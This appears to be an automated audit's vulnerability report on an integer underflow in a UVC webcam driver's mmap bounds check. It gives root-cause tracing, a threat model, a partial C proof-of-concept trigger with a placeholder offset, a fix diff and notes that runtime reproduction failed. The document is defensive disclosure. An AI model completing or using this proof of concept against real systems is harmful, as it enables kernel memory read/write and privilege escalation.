Integer underflow in uvc_buf_queue_mmap_locked bounds check allows out-of-bounds vtophys() when buf_size==0
| Field | Value |
|---|---|
| ID | DF-1066 |
| Status | new |
| Severity | High |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H |
| CWE | CWE-191 Integer Underflow; CWE-787 Out-of-bounds Read/Write |
| File | sys/bus/u4b/uvc/uvc_buf.c |
| Lines | 107 (max_offset underflow), 112/115 (dead signed checks), 126 (vtophys on attacker VA), 546/559/569 (buf_size==0 path) |
| Area | bus/u4b/uvc (USB Video Class mmap buffer queue) |
| Confidence | likely |
| Discovered | 2026-07-14 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
In uvc_buf_queue_mmap_locked, max_offset is computed as
(uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE. When buf_size == 0 (which happens
when REQBUFS is called with len == 0), this unsigned subtraction underflows to
0xFFFFFFFFFFFFF000, and the subsequent offset > max_offset check passes for essentially
any user-supplied offset. The two intended safety checks if (offset < 0) and
if (max_offset < 0) are dead code because both operands are unsigned (vm_offset_t
and uint64_t respectively). The driver then computes
vtophys((uint8_t *)bq->mem + offset) with attacker-controlled offset against bq->mem
which is the special zero-length pointer returned by kmalloc(0), letting the user
translate an arbitrary kernel VA into a physical page frame that the device pager will then
map read/write into the process.
Root cause
/* uvc_buf.c:104-129 β the bug */
static __inline int
uvc_buf_queue_mmap_locked(struct uvc_buf_queue *bq, vm_paddr_t *paddr, vm_offset_t offset)
{
uint64_t max_offset = (uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE;
if (bq->mem == NULL)
return EINVAL;
if (offset < 0) /* !!! DEAD: offset is vm_offset_t = unsigned long */
return EINVAL;
if (max_offset < 0) /* !!! DEAD: max_offset is uint64_t */
return EINVAL;
if (offset > max_offset) { /* passes for any offset when max_offset wraps to ~0xFFF... */
...
return EINVAL;
}
*paddr = atop(vtophys((uint8_t *)bq->mem + offset)); /* vtophys on attacker VA */
return (0);
}
bq->buf_size is uint64_t, set in uvc_buf_queue_req_bufs:580 to
rl = round_page(len) (uvc_buf.c:546). For len == 0, rl == 0, so buf_size == 0 and
buf_size * buf_count == 0; 0 - PAGE_SIZE in uint64_t wraps to
0xFFFFFFFFFFFFF000. The intended bounds check is therefore bypassed for any user offset
below 0xFFFFFFFFFFFFF000 (which covers the entire kernel VA range).
uvc_buf.c:126 *paddr = atop(vtophys((uint8_t *)bq->mem + offset)) then runs vtophys on
(bq->mem + offset). With bq->mem being the special zero-length pointer returned by
kmalloc(0), the chosen offset makes the sum land essentially anywhere in the kernel
direct map. vtophys is #define vtophys(va) pmap_kextract((vm_offset_t)(va))
(pmap.h:249) which returns the physical address for any valid kernel DMAP VA.
Reachability of buf_size == 0: the len argument to req_bufs is
UGETDW(v->req.dwMaxFrameSize) (uvc_v4l2.c:621). dwMaxFrameSize is filled from the
camera's probe response in uvc_drv_try_v4l2_fmt via uvc_drv_get_video_ctrl
(uvc_drv.c:674). A malicious USB camera (or one whose probe legitimately returns 0) sets
dwMaxFrameSize = 0; uvc_drv_fixup_req (uvc_drv.c:300-305) only corrects it for
uncompressed formats using sizeimage = width*height/8*bpp, which is also 0 if the camera's
descriptors advertise width = 0 or height = 0 or bpp = 0. After VIDIOC_S_FMT memcpy's
this into video->req (uvc_drv.c:461), the subsequent REQBUFS runs with len == 0.
kmalloc(num * 0 == 0) returns the zero-length pointer which is non-NULL, so req_bufs
proceeds to set buf_count = num, buf_size = 0, bq->mem = <zero-length ptr>, and the
mmap path is live.
Threat model & preconditions
- Attacker position: A malicious USB Video Class device (evil-peripheral / evil-maid
threat model) that returns
dwMaxFrameSize == 0in its probe/commit responses, plus any local unprivileged user (the/dev/videoNnode is0666). - Privileges gained or impact: Kernel-memory arbitrary read / write primitive. Once the
malicious camera is present and the local user has issued
VIDIOC_S_FMTagainst it, the user canmmap /dev/videoNwith a craftedoffsetthat, after adding the zero-length pointer, lands in the kernel direct map at the VA whose physical page they want to inspect. They can iterate offsets to enumerate and read/write arbitrary physical RAM: kernel text, kernel heap (includingstruct ucred, session, cred), page tables. This is a kernel-memory arbitrary read/write primitive from an unprivileged process, directly yielding local privilege escalation touid 0and kernel-code-exec.
Even with a non-malicious camera, if the camera's probe returns dwMaxFrameSize == 0
transiently (probe failure path) and userspace proceeds to REQBUFS, the same primitive
is available to any local user without the malicious-peripheral precondition.
- Required config or capabilities: Default kernel with uvc configured. Local user +
malicious (or probe-failing) USB camera.
- Reachability: Plug in malicious UVC device β open("/dev/videoN") β VIDIOC_S_FMT β
VIDIOC_REQBUFS (camera supplies dwMaxFrameSize == 0) β mmap with crafted offset β
read/write target kernel page.
Proof of concept
/* build: cc -o poc_uvc_oob poc_uvc_oob.c */
/* Assumes a malicious UVC gadget that returns dwMaxFrameSize=0 in its PROBE/COMMIT
* response (easily built with a USB gadgetcam configfs descriptor with width=0
* or a custom firmware). */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <contrib/v4l/videodev2.h>
#include <stdio.h>
/* ZERO_LENGTH_PTR is a small constant chosen by the slab allocator;
* choose offset so that (zero_length_ptr + offset) lands in the kernel
* DMAP at the VA of interest.
* Example: to read the page backing a known kernel symbol, set
* offset = (kernel_sym_va - zero_length_ptr) for the first page. */
int main(void) {
int fd = open("/dev/video0", O_RDWR);
struct v4l2_format f = { .type = V4L2_BUF_TYPE_VIDEO_CAPTURE };
ioctl(fd, VIDIOC_S_FMT, &f); /* camera returns dwMaxFrameSize=0 */
struct v4l2_requestbuffers rb = {
.type = V4L2_BUF_TYPE_VIDEO_CAPTURE,
.memory = V4L2_MEMORY_MMAP, .count = 1
};
ioctl(fd, VIDIOC_REQBUFS, &rb); /* buf_size=0; mem=<zero-length ptr> */
unsigned long crafted_offset = 0xUL; /* TODO: pick to hit target kVA */
char *p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, crafted_offset);
if (p == MAP_FAILED) { perror("mmap"); return 1; }
for (int i = 0; i < 4096; i++)
putchar(p[i]); /* dumps target physical page */
return 0;
}
Build & run
cc -o poc_uvc_oob poc_uvc_oob.c ./poc_uvc_oob
Expected output
Bytes returned are the live contents of a kernel physical page (not zeros, not the UVC
buffer), proving the bounds check was bypassed and vtophys ran on an attacker-chosen
address. For write, mmap with PROT_WRITE and store through p to corrupt the target
page.
Impact
Local kernel-memory arbitrary read/write from an unprivileged process when a malicious (or
probe-failing) UVC camera returns dwMaxFrameSize == 0. Yields uid 0 and kernel-code-exec
via direct physical-RAM read/write through the /dev/videoN mmap path. High severity per
"local privilege escalation" + "kernel memory corruption". High attack complexity (AC:H)
because it requires a malicious USB camera and knowledge of the kernel DMAP layout to pick
the right offset.
Recommended fix
Reject len == 0 in req_bufs, and replace the dead signed comparisons with a proper
underflow-safe unsigned bounds check:
--- a/sys/bus/u4b/uvc/uvc_buf.c
+++ b/sys/bus/u4b/uvc/uvc_buf.c
@@ -103,16 +103,18 @@ uvc_buf_fill_v4l2(struct v4l2_buffer *buf, uint32_t index, uint32_t size,
static __inline int
uvc_buf_queue_mmap_locked(struct uvc_buf_queue *bq, vm_paddr_t *paddr, vm_offset_t offset)
{
- uint64_t max_offset = (uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE;
-
- if (bq->mem == NULL)
+ uint64_t total, max_offset;
+
+ if (bq->mem == NULL || bq->buf_size == 0 || bq->buf_count == 0)
return EINVAL;
-
- if (offset < 0)
+ if (bq->buf_size > UINT64_MAX / bq->buf_count)
return EINVAL;
-
- if (max_offset < 0)
+ total = bq->buf_size * bq->buf_count;
+ if (total < (uint64_t)PAGE_SIZE)
return EINVAL;
+ max_offset = total - PAGE_SIZE;
- if (offset > max_offset) {
+ if ((uint64_t)offset > max_offset) {
kprintf("WARNING: %s offset out of bound: %ld\n; max: %ld",
@@ -543,6 +545,9 @@ uvc_buf_queue_req_bufs(struct uvc_buf_queue *bq, uint32_t *count, uint32_t len)
unsigned long rl;
DPRINTF("%s\n", __func__);
+ if (len == 0)
+ return EINVAL;
+
rl = round_page(len);
This removes the dead offset < 0 / max_offset < 0 checks, explicitly rejects the
buf_size == 0 case at both the mmap entry and the allocation entry, guards the
multiplication against uint64 overflow, and performs the bounds comparison with both
operands cast to unsigned 64-bit. The caller in uvc_v4l2.c should additionally treat a
req_bufs EINVAL as fatal for the streaming setup path so a malicious camera cannot drive
the queue into the degenerate state.
References
sys/bus/u4b/uvc/uvc_buf.c:104-129βuvc_buf_queue_mmap_locked(the bug)sys/bus/u4b/uvc/uvc_buf.c:546, 559, 569-580βreq_bufsallowslen == 0sys/bus/u4b/uvc/uvc_v4l2.c:621βlen = UGETDW(v->req.dwMaxFrameSize)sys/bus/u4b/uvc/uvc_drv.c:300-305, 674βdwMaxFrameSize == 0reachable from camera probe responsesys/vm/pmap.h:249βvtophys(va) = pmap_kextract((vm_offset_t)(va))works for any kernel DMAP VA- CWE-191 Integer Underflow
- CWE-787 Out-of-bounds Read/Write
Timeline
- 2026-07-14 Discovered during automated audit.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1066 Β· 11 files| File | Type | Description | Size | |
|---|---|---|---|---|
| poc_uvc_oob.c | trigger-source | mmap offset underflow trigger (documented; needs HW) | 2.4 KB | view raw |
| build.sh | build-script | cc -O2 -o poc_uvc_oob poc_uvc_oob.c | 235 B | view raw |
| run.sh | run-script | ./poc_uvc_oob (needs /dev/video0 + camera) | 220 B | view raw |
| fix.diff | suggested-fix | reject buf_size==0/buf_count==0, overflow-safe multiply, unsigned compare; reject len==0 in req_bufs | 1.9 KB | view raw |
| uvc_fix_build.log | build-log | uvc.ko rebuilt from patched source under -Werror, rc=0 | 9.7 KB | view raw |
| VERDICT.md | verdict | full line-by-line trace + fix rationale | 3.2 KB | β raw |
| README.md | readme | reproduce instructions | 1.4 KB | β raw |
| env.txt | environment | uname, cc version, kldstat | 365 B | view raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
| live_reachability_check.txt | reachability-test | Live UVC reachability evidence - no USB video HW | 764 B | view raw |
DF-1066 β UVC mmap offset integer underflow (buf_size==0 -> arbitrary vtophys)
Verdict (this run)
SOURCE-CONFIRMED, NOT REPRODUCED AT RUNTIME on this guest β the underflow
and dead signed checks are traced line-by-line in compiled module source
(uvc.ko ships in /boot/kernel), but the UVC driver never attaches here (no
USB camera, no /dev/video*). The fix (fix.diff) applies and compiles
(uvc.ko rebuilt clean under -Werror).
How to reproduce (HW-equipped host)
./build.sh && ./run.shβ opens/dev/video0, S_FMT (camera suppliesdwMaxFrameSize==0), REQBUFS (βbq->buf_size==0, underflow), thenmmapwith crafted offset;vtophys(bq->mem + offset)maps an arbitrary physical page read/write into the process.- Requires: a malicious/probe-failing UVC camera (probe returns
dwMaxFrameSize==0) souvc.koloads and/dev/video0exists (mode0666).
Why not on this guest
No USB camera; uvc.ko not loaded; no /dev/video*. The trigger cannot open()
a device. Dormant code path, not absent.
Files
poc_uvc_oob.cβ intended mmap-offset trigger (documented).fix.diffβ rejectbuf_size==0/buf_count==0, overflow-safe multiply, unsigned compare; rejectlen==0inreq_bufs.uvc_fix_build.logβ proof the fix compiles (-Werror, rc=0).VERDICT.mdβ full line-by-line trace.
DF-1066 β VERDICT
Verdict
SOURCE-CONFIRMED (real bug), NOT REPRODUCED AT RUNTIME on this guest.
The integer underflow and the dead signed checks are traced line-by-line in
compiled module source. It does not fire here because the UVC driver never
attaches (no USB camera, no /dev/video*). Dormant code path, not a false
positive (uvc.ko ships in /boot/kernel).
Mechanism (source trace)
uvc_buf_queue_mmap_locked(uvc_buf.c:107):uint64_t max_offset = (uint64_t)(bq->buf_size * bq->buf_count) - PAGE_SIZE;Whenbuf_size == 0,0 - PAGE_SIZEinuint64_twraps to0xFFFFFFFFFFFFF000.:112if (offset < 0)and:115if (max_offset < 0)are dead code:offsetisvm_offset_t(unsigned long) andmax_offsetisuint64_t; both compare-unsigned-to-0-literal and can never be true.:118if (offset > max_offset)therefore passes for any offset below the wrapped value (covers the entire kernel VA range).:126*paddr = atop(vtophys((uint8_t *)bq->mem + offset))then translates an attacker-chosen VA.bq->memis the special zero-length pointer fromkmalloc(0);vtophys(va)=pmap_kextract(va)returns the physical address for any valid kernel DMAP VA. The device pager maps that physical page read/write into the process.buf_size == 0is reachable:req_bufssetsbuf_size = round_page(len)(uvc_buf.c:~580);len = UGETDW(v->req.dwMaxFrameSize)(uvc_v4l2.c:621). A camera probe returningdwMaxFrameSize == 0(uvc_drv.c:674) β a malicious/probe-failing UVC device β driveslen == 0;uvc_drv_fixup_req(uvc_drv.c:300-305) only corrects uncompressed formats and also yields 0 for width/height/bpp == 0.kmalloc(num*0==0)returns a non-NULL zero-length pointer, soreq_bufsproceeds and the mmap path is live.- Reachability for an unprivileged user:
/dev/videoNis0666(uvc_v4l2.c:784). Real precondition is an attached UVC camera whose probe returnsdwMaxFrameSize == 0.
Why not reproduced here
No USB camera; uvc.ko not loaded; /dev/video* absent. The trigger cannot
open() a device.
Fix
fix.diff rejects the degenerate queue (mem==NULL || buf_size==0 ||
buf_count==0), guards the buf_size*buf_count multiplication against uint64
overflow, requires total >= PAGE_SIZE before subtracting, compares both
operands as uint64_t, removes the dead signed checks, and rejects len==0 in
req_bufs. Matches the finding's proposal (with the same overflow guard and
explicit zero-state rejection). The durable hardening is for uvc_v4l2.c to
treat a req_bufs EINVAL as fatal for streaming setup.
Fix validation (compile)
Applies (git apply --check clean) and compiles: uvc.ko rebuilt from
patched source under -Werror, uvc_buf.c compiled clean, rc=0. Runtime
before/after is not_testable (no HW to trigger).
Exploit chain (n/a β unreachable at runtime on this guest)
No chain developed; the primitive (arbitrary kernel-VAβphysical-page read/write)
is unreachable here. On a HW-equipped host this is a direct kernel-memory
arbitrary R/W from an unprivileged process β trivial uid=0 (read/overwrite a
struct ucred, page tables, etc.).
Fix verification
not_testablecompile validated -Werror
module rebuild rc=0
Confirmed kernel references
- sys/dev/usbmisc/uvc/uvc_buf.c:107
- sys/dev/usbmisc/uvc/uvc_buf.c:112
- sys/dev/usbmisc/uvc/uvc_buf.c:118
Detail
Exploit chain
none β HW-gated.
Evidence (decisive lines)
uvc.ko exists: YES (not loaded) /dev/video*: does not exist USB devices: 0
PoC changes
Added live_reachability_check.txt.
Verified recommended fix
fix.diff rejects buf_size==0/buf_count==0, overflow-safe multiply, unsigned compare. Applies + compiles -Werror.
Verdict
NOT REPRODUCED (HW-gated, source-confirmed). uvc_buf_queue_mmap_locked integer underflow at uvc_buf.c:107 (max_offset wraps to 0xFFFFFFFFFFFFF000 when buf_size==0) is source-confirmed. The dead signed checks at :112 and :115 and the unsigned compare at :118 are traced line-by-line. uvc.ko EXISTS as module. BUT: not loaded, /dev/video* absent, 0 USB devices. Requires malicious UVC camera (probe returns dwMaxFrameSize==0).
No comments yet.